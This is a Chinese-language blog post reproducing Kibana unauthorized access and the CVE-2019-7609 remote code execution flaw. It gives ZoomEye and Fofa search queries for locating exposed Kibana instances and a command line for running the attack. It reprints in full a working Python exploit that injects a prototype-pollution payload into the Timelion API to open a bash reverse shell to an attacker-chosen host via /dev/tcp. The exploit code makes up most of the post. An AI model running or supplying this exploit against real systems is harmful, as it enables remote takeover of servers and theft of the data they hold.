kibana未授权访问利用

kibana未授权访问利用

漏洞描述

Kibana如果允许外网访问,没有做安全的登录认证,也会被外部随意访问查看所有的数据,造成少数据泄露。在默认配置下,Kibana就可以访问Elasticsearch中的所有数据。

影响版本

Kibana < 5.6.15

Kibana < 6.6.1

搜索规则

zoomeye:

1
app:"kibana"

Fofa:

1
app="kibana"

漏洞复现

直接访问kibana系统

1
http://192.168.211.129:5601/app/kibana

无需账号密码就可以登录进入图形化界面

下面利用脚本进行攻击

1
python CVE-2019-7609-kibana-rce.py -u 目标主机ip地址:5601 -host 攻击主机ip地址 -port 监听端口 –-shell

反弹shell成功

漏洞POC

poc地址 :

LandGrey/CVE-2019-7609: exploit CVE-2019-7609(kibana RCE) on right way by python2 scripts (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import re
import sys
import time
import random
import argparse
import requests
import traceback
from distutils.version import StrictVersion

def get_kibana_version(url):
headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
url = "{}{}".format(url.rstrip("/"), "/app/kibana")
r = requests.get(url, verify=False, headers=headers, timeout=30)
patterns = ['&quot;version&quot;:&quot;(.*?)&quot;,', '"version":"(.*?)",']
for pattern in patterns:
match = re.findall(pattern, r.content)
if match:
return match[0]
return '9.9.9'


def version_compare(standard_version, compare_version):
try:
sc1 = StrictVersion(standard_version[0])
sc2 = StrictVersion(standard_version[1])
cc = StrictVersion(compare_version)
except ValueError:
print("[-] ERROR : kibana version compare failed !")
return False

if sc1 > cc or (StrictVersion("6.0.0") <= cc and sc2 > cc):
return True
return False


def verify(url):
global version

if not version or not version_compare(["5.6.15", "6.6.1"], version):
return False
headers = {
'Content-Type': 'application/json;charset=utf-8',
'Referer': url,
'kbn-version': version,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
data = '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}'
url = "{}{}".format(url.rstrip("/"), "/api/timelion/run")
r = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
if r.status_code == 200 and 'application/json' in r.headers.get('content-type', '') and '"seriesList"' in r.content:
return True
else:
return False


def reverse_shell(target, ip, port):
random_name = "".join(random.sample('qwertyuiopasdfghjkl', 8))
headers = {
'Content-Type': 'application/json;charset=utf-8',
'kbn-version': version,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
data = r'''{"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"if [ ! -f /tmp/%s ];then touch /tmp/%s && /bin/bash -c \\'/bin/bash -i >& /dev/tcp/%s/%s 0>&1\\'; fi\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"10s","timezone":"Asia/Shanghai"}}''' % (random_name, random_name, ip, port)
url = "{}{}".format(target, "/api/timelion/run")
r1 = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
if r1.status_code == 200:
trigger_url = "{}{}".format(target, "/socket.io/?EIO=3&transport=polling&t=MtjhZoM")
new_headers = headers
new_headers.update({'kbn-xsrf': 'professionally-crafted-string-of-text'})
r2 = requests.get(trigger_url, verify=False, headers=new_headers, timeout=20)
if r2.status_code == 200:
time.sleep(5)
return True
return False


if __name__ == "__main__":
start = time.time()

parser = argparse.ArgumentParser()
parser.add_argument("-u", dest='url', default="http://127.0.0.1:5601", type=str, help='such as: http://127.0.0.1:5601')
parser.add_argument("-host", dest='remote_host', default="127.0.0.1", type=str, help='reverse shell remote host: such as: 1.1.1.1')
parser.add_argument("-port", dest='remote_port', default="8888", type=str, help='reverse shell remote port: such as: 8888')
parser.add_argument('--shell', dest='reverse_shell', default='', action="store_true", help='reverse shell after verify')

if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
target = args.url
remote_host = args.remote_host
remote_port = args.remote_port
is_reverse_shell = args.reverse_shell

target = target.rstrip('/')
if "://" not in target:
target = "http://" + target
try:
version = get_kibana_version(target)
result = verify(target)
if result:
print("[+] {} maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability".format(target))
if is_reverse_shell:
result = reverse_shell(target, remote_host, remote_port)
if result:
print("[+] reverse shell completely! please check session on: {}:{}".format(remote_host, remote_port))
else:
print("[-] cannot reverse shell")
else:
print("[-] {} do not exists CVE-2019-7609 vulnerability".format(target))
except Exception as e:
print("[-] cannot exploit!")
print("[-] Error on: \n")
traceback.print_exc()

参考文章

(44条消息) Kibana未授权访问漏洞复现、CVE-2019-7609 Kibana远程代码执行漏洞复现_coc.的博客-CSDN博客

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信